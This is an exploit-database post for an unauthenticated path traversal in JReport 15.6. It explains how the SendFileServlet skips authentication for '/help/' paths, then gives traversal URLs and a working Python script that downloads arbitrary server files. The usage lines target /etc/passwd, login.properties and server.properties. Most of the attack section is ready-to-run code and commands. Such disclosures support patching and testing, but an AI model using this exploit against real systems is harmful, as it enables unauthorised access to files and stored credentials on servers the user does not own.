Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal Exploit

# Exploit Title: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal
# Exploit Author: hongphukt
# Vendor Homepage: https://www.jinfonet.com/
# Software Link: https://www.jinfonet.com/product/download-jreport/
# Version: JReport 15.6
# Tested on: Linux, Windows 
 
Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems.
Technical Details
 
Jreport before loggedin have help function with url:
 
https://serverip/jreport/sendfile/help/userguide/server/index.htm
 
senfile url processing by jet.server.servlets.SendFileServlet class.
 
            <servlet>
 
                        <servlet-name>sendfile</servlet-name>
 
                        <servlet-class>jet.server.servlets.SendFileServlet</servlet-class>
 
            </servlet>
 
            <servlet-mapping>
 
                        <servlet-name>sendfile</servlet-name>
 
                        <url-pattern>/sendfile/*</url-pattern>
 
            </servlet-mapping>
 
  
 
In jet.server.servlets.SendFileServlet class, request will go on when it’s authenticated or start url by ‘/help/’
 
if ((!isAuthentic) &&
 
        (!path.startsWith("/help/")))
 
      {
 
        httpRptServer.getHttpUserSessionManager().sendUnauthorizedResponse(req, res, this.D, httpRptServer.getResourceManager().getRealm());
 
        return;
 
      }
 
  
 
So the function reading file without any path validation
 
Exploit:
 
Get login properties, /etc/password file by get url:
 
 http://jreport.test/jreport/sendfile/help/../bin/login.properties
 
 http://jreport.test/jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd
 
# Exploit Code
 
import requests
import argparse
 
def exploit(url, file):
     
    session = requests.Session()
    rawBody = "\r\n"
    response = session.get("{}/jreport/sendfile/help/{}".format(url,file), data=rawBody)
 
    if response.status_code == 404:
        print("The '{}' file was not found.".format(file))      
    else:
        print("-" *22)
        print(response.content)
        print("-" *22)
 
if __name__ == "__main__":
 
    parser = argparse.ArgumentParser(description='Jreport Path traversal & Arbitrary File Download')
    parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
    parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
    args = parser.parse_args()
 
    exploit(args.url, args.file)
 
# python jreport_fileread.py -u http://jreport.address -f "../../../../../../../../../../../../../../etc/passwd/"
# python jreport_fileread.py -u http://jreport.address -f "../bin/login.properties"
# python jreport_fileread.py -u http://jreport.address -f "../bin/server.properties"
 
#  0day.today [2020-03-29]  #